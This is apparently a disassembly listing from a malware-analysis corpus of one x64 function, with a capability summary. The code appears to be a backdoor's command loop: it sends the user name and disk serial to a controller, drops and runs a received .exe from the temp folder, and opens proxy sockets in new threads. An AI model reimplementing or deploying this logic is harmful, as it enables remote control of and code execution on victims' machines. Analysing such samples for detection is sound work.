Function at 0x180001c4d
Capabilities:
Create tcp socket
Create thread
Get common file path
Get disk information
Get session user name
Get socket status
Set socket configuration

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0xd88
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.1800033db
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0
mov rdx, 0
mov r8, 1
mov r9, 0
call qword [sym.imp.kernel32.dll_CreateEventA]
add rsp, 0x20
mov qword [rbp - 0xd48], rax
sub rsp, 0x20
mov rcx, 0
mov rdx, 0x10000
mov r8, 0x3000
mov r9, 4
call qword [sym.imp.kernel32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp - 0x40], rax
sub rsp, 0x20
mov rcx, 0
mov rdx, 0x10000
mov r8, 0x3000
mov r9, 4
call qword [sym.imp.kernel32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp - 0xa0], rax
mov rdi, qword [rbp - 0xa0]
mov qword [rdi], 0x100
sub rsp, 0x20
mov rcx, 2
lea rdx, [rdi + 0x52]
mov r8, rdi
call qword [sym.imp.secur32.dll_GetUserNameExA]
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x6f0]
mov rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
mov r9, 0xa
call fcn.180002d20
add rsp, 0x20
test rax, rax
je 0x180002582
sub rsp, 0x20
lea rcx, [0x180005078]
lea rdx, [rdi + 0x1c]
mov r8, 0x32
call fcn.18000357b
add rsp, 0x20
mov word [rdi + 0x4e], 1
sub rsp, 0x20
call fcn.180002b96
add rsp, 0x20
sub rax, 0x2000
test rax, rax
jle 0x180001dad
mov byte [rdi + 0x50], 2
mov byte [rdi + 0x51], 1
mov byte [rdi + 0x7b], 0
sub rsp, 0x40
mov rcx, 0
mov rdx, 0
mov r8, 0
lea r9, [rdi + 0x7c]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call qword [sym.imp.kernel32.dll_GetVolumeInformationA]
add rsp, 0x40
sub rsp, 0x20
lea rcx, [0x180005078]
mov rdx, 0x32
lea r8, [rdi + 0x4e]
mov r9, 0x32
call fcn.18000295e
add rsp, 0x20
mov rax, qword [rbp - 0xa0]
add rax, 0x1c
sub rsp, 0x20
mov rcx, qword [rbp - 0x6f0]
mov rdx, rax
mov r8, 0x64
mov r9, 0
call fcn.18000263d
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x60]
mov r8, 8
call fcn.18000357b
add rsp, 0x20
cmp qword [rbp - 0x50], 0
jne 0x180001fa1
cmp qword [rbp - 0xb0], 4
je 0x180001fa1
sub rsp, 0x30
mov rcx, qword [rbp - 0x6f0]
mov rdx, 0
lea r8, [rbp - 0x98]
mov r9, 0x3c
mov qword [rsp + 0x20], 0
call fcn.180002ade
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
lea rdx, [rbp - 0x98]
mov r8, 0
mov r9, 0
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
cmp eax, 0
jl 0x180002582
cmp rax, 0
jne 0x180001fa1
cmp qword [rbp - 0xa8], 0
jne 0x180002582
cmp qword [rbp - 0xb0], 0
jne 0x180002582
mov qword [rbp - 0xd90], 1
inc qword [rbp - 0xdb0]
cmp qword [rbp - 0xdb0], 2
je 0x180002582
mov qword [rbp - 0xdb8], 0
sub rsp, 0x20
lea rcx, [0x180005078]
mov rdx, 0x32
lea r8, [rbp - 0xdb8]
mov r9, 3
call fcn.18000295e
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x6f0]
lea rdx, [rbp - 0xdb8]
mov r8, 3
mov r9, qword [rbp - 0xd48]
call fcn.18000263d
add rsp, 0x20
jmp 0x180001e56
mov rdi, qword [rbp - 0xa0]
cmp qword [rbp - 0xa8], 0
jne 0x180001fc0
cmp qword [rbp - 0xb0], 4
jne 0x18000249d
cmp word [rdi + 2], 0
jne 0x180002012
cmp byte [rdi], 0xff
jne 0x180001fe4
cmp byte [rdi + 1], 0xfe
jne 0x180001fe4
mov qword [rbp - 0xd98], 1
jmp 0x180002582
cmp byte [rdi], 0
jne 0x180001ff2
cmp byte [rdi + 1], 0
jne 0x180001ff2
nop
jmp 0x18000200d
movzx ebx, byte [rdi + 1]
cmp qword [rbp + rbx*8 - 0x6f0], 0
je 0x18000200d
mov qword [rbp + rbx*8 - 0x6f0], 0
jmp 0x18000248d
cmp qword [rbp - 0x50], 0
jne 0x180002072
sub rsp, 0x20
mov rcx, qword [rbp - 0x6f0]
mov rdx, qword [rbp - 0x40]
mov r8, 0x10000
mov r9, 0
call fcn.18000275e
add rsp, 0x20
test eax, eax
jle 0x180002582
mov qword [rbp - 0x50], rax
mov qword [rbp - 0xdb0], 0
sub rsp, 0x20
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x58]
mov r8, 8
call fcn.18000357b
add rsp, 0x20
mov rdx, qword [rbp - 0xa8]
movzx r12d, word [rdi + 2]
sub r12, rdx
cmp qword [rbp - 0x50], r12
ja 0x18000208b
mov r12, qword [rbp - 0x50]
sub rsp, 0x20
mov rcx, qword [rbp - 0x58]
lea rdx, [rdx + rdi + 4]
mov r8, r12
call fcn.18000357b
add rsp, 0x20
add qword [rbp - 0x58], r12
sub qword [rbp - 0x50], r12
add qword [rbp - 0xa8], r12
sub rsp, 0x20
lea rcx, [rbp - 0xa8]
lea rdx, [rdi + 2]
mov r8, 2
call fcn.18000365b
add rsp, 0x20
cmp rax, 1
jne 0x18000248d
movzx eax, word [rdi + 2]
sub rsp, 0x20
lea rcx, [0x180005078]
mov rdx, 0x32
lea r8, [rdi + 4]
mov r9, rax
call fcn.18000295e
add rsp, 0x20
movzx ebx, byte [rdi + 1]
cmp word [rdi], 0xffff
jne 0x1800022c4
mov rbx, qword [rbp - 0xa0]
movzx eax, word [rbx + 2]
mov byte [rax + rbx + 4], 0
sub rsp, 0x20
lea rcx, [rbx + 8]
lea rdx, [rbp - 0xd38]
call fcn.180002fbc
add rsp, 0x20
cmp rax, 0x400
jle 0x1800022ab
mov qword [rbp - 0xd40], rax
mov rsi, qword [rbp - 0xa0]
mov word [rsi + 2], 4
sub rsp, 0x20
lea rcx, [0x180005078]
mov rdx, 0x32
lea r8, [rsi + 1]
mov r9, 3
call fcn.18000295e
add rsp, 0x20
sub rsp, 0x20
lea rcx, [0x180005078]
mov rdx, 0x32
lea r8, [rsi + 4]
mov r9, 4
call fcn.18000295e
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x6f0]
lea rdx, [rsi + 1]
mov r8, 7
mov r9, qword [rbp - 0xd48]
call fcn.18000263d
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0x200
mov rdx, qword [rbp - 0xa0]
call qword [sym.imp.kernel32.dll_GetTempPathA]
add rsp, 0x20
lea rdi, [rax + rsi]
mov ax, 0x5c
stosb byte [rdi], al
sub rsp, 0x20
mov rcx, 4
call fcn.180003529
add rsp, 0x20
lea rbx, [rax + 4]
sub rsp, 0x20
mov rcx, 0x18
call fcn.180003529
add rsp, 0x20
add rax, 0x61
stosb byte [rdi], al
dec rbx
jne 0x180002207
mov ax, 0x2e
stosb byte [rdi], al
mov ax, 0x65
stosb byte [rdi], al
mov ax, 0x78
stosb byte [rdi], al
mov ax, 0x65
stosb byte [rdi], al
mov ax, 0
stosb byte [rdi], al
sub rsp, 0x30
mov rcx, qword [rbp - 0xa0]
mov rdx, qword [rbp - 0xd38]
mov r8, qword [rbp - 0xd40]
mov r9, 2
mov qword [rsp + 0x20], 0
call fcn.180003416
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
mov rdx, 0x14
mov r8, qword [rbp - 0xa0]
mov r9, 0
mov qword [rsp + 0x20], 1
mov qword [rsp + 0x28], 1
call fcn.180001042
add rsp, 0x30
sub rsp, 0x20
lea rcx, [rbp - 0xd38]
call fcn.180003371
add rsp, 0x20
jmp 0x180002482
cmp byte [rdi], 0
jne 0x18000245b
sub rsp, 0x20
mov rcx, 0
mov rdx, 0x10000
call qword [sym.imp.kernel32.dll_LocalAlloc]
add rsp, 0x20
test rax, rax
je 0x180002582
mov rsi, rax
sub rsp, 0x20
mov rcx, rdi
mov rdx, rsi
mov r8, 0x180
call fcn.18000357b
add rsp, 0x20
lea rax, [rbp - 0xd30]
mov qword [rsi + 0x180], rax
mov qword [rsi + 0x188], rbx
sub rsp, 0x20
lea rcx, [rbp - 0xd48]
lea rdx, [rsi + 0x190]
mov r8, 8
call fcn.18000357b
add rsp, 0x20
lea rax, [rbp - 0x6f0]
mov qword [rsi + 0x198], rax
mov qword [rsi + 0x1a0], rsi
sub rsp, 0x20
lea rcx, [rbp - 0x6f0]
lea rdx, [rsi + 0x1a8]
mov r8, 8
call fcn.18000357b
add rsp, 0x20
cmp byte [rsi + 7], 4
je 0x1800023a8
sub rsp, 0x20
mov rcx, 2
mov rdx, 1
mov r8, 6
call qword [sym.imp.ws2_32.dll_socket]
add rsp, 0x20
jmp 0x1800023cb
sub rsp, 0x20
mov rcx, 0x17
mov rdx, 1
mov r8, 6
call qword [sym.imp.ws2_32.dll_socket]
add rsp, 0x20
mov qword [rsi + 0x1b0], rax
mov qword [rbp + rbx*8 - 0x6f0], rax
mov qword [rbp - 0xd50], 1
sub rsp, 0x30
mov rcx, qword [rbp + rbx*8 - 0x6f0]
mov rdx, 6
mov r8, 1
lea r9, [rbp - 0xd50]
mov qword [rsp + 0x20], 8
call qword [sym.imp.ws2_32.dll_setsockopt]
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
mov rdx, 0
lea r8, [0x18000159e]
mov r9, rsi
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.kernel32.dll_CreateThread]
add rsp, 0x30
mov qword [rbp + rbx*8 - 0xd30], rax
jmp 0x180002482
movzx eax, word [rdi + 2]
sub rsp, 0x20
mov rcx, qword [rbp + rbx*8 - 0x6f0]
lea rdx, [rdi + 4]
mov r8, rax
mov r9, 0
call fcn.18000263d
add rsp, 0x20
mov qword [rbp - 0xa8], 0
mov qword [rbp - 0xb0], 0
jmp 0x18000257d
cmp qword [rbp - 0x50], 0
jne 0x180002508
sub rsp, 0x20
mov rcx, qword [rbp - 0x6f0]
mov rdx, qword [rbp - 0x40]
mov r8, 0x10000
mov r9, 0
call fcn.18000275e
add rsp, 0x20
test eax, eax
jle 0x180002582
mov qword [rbp - 0xd90], 1
mov qword [rbp - 0x50], rax
mov qword [rbp - 0xdb0], 0
sub rsp, 0x20
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x58]
mov r8, 8
call fcn.18000357b
add rsp, 0x20
mov r12, qword [rbp - 0xb0]
mov r13, 4
sub r13, qword [rbp - 0xb0]
cmp qword [rbp - 0x50], r13
jae 0x180002527
mov r13, qword [rbp - 0x50]
sub rsp, 0x20
mov rcx, qword [rbp - 0x58]
lea rdx, [r12 + rdi]
mov r8, r13
call fcn.18000357b
add rsp, 0x20
add qword [rbp - 0x58], r13
sub qword [rbp - 0x50], r13
add qword [rbp - 0xb0], r13
cmp qword [rbp - 0xb0], 4
jne 0x18000257d
sub rsp, 0x20
lea rcx, [0x180005078]
mov rdx, 0x32
mov r8, rdi
mov r9, 4
call fcn.18000295e
add rsp, 0x20
jmp 0x180001e56
sub rsp, 0x20
mov rcx, qword [rbp - 0x6f0]
call fcn.180002820
add rsp, 0x20
lea rsi, [rbp - 0x6f0]
mov rbx, 0xc8
mov qword [rsi], 0
add rsi, 8
dec rbx
jne 0x1800025a4
xor rax, rax
lea rdi, [rbp - 0xd30]
mov rcx, 0xc8
repe scasd eax, dword [rdi]
jne 0x1800025b4
sub rsp, 0x20
mov rcx, qword [rbp - 0xd48]
call qword [sym.imp.kernel32.dll_CloseHandle]
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x40]
call fcn.180003371
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0xa0]
call fcn.180003371
add rsp, 0x20
cmp qword [rbp - 0xd98], 1
jne 0x180002622
sub rsp, 0x20
mov rcx, 0
call qword [sym.imp.kernel32.dll_ExitThread]
mov rax, qword [rbp - 0xd90]
add rsp, 0xd88
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret